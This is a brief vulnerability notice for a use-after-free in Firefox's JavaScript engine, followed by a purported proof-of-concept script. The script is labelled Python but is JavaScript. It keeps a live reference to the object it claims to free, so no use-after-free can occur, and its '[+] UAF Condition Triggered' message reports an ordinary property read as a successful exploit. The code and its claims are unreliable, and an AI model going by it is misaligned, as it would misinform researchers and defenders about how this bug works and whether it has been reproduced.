Use-after-free in the JavaScript Engine component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
/**
* PoC for CVE-2026-4701 (Use-after-free in JS Engine)
* This is a conceptual demonstration.
*/
function triggerUAF() {
// Create a complex object to occupy memory
let target = { property: "sensitive_data" };
// Store a reference
let dangling_ref = target;
// Force the object to be freed (simulated)
// In a real scenario, specific JS logic triggers the GC or free
target = null;
// Attempt to trigger Garbage Collection
if (typeof gc !== 'undefined') {
gc();
}
// Attempt to access the freed memory (UAF)
// If vulnerable, this may access attacker-controlled memory
try {
if (dangling_ref.property) {
console.log("[+] UAF Condition Triggered");
}
} catch (e) {
console.log("[-] Execution failed");
}
}
triggerUAF();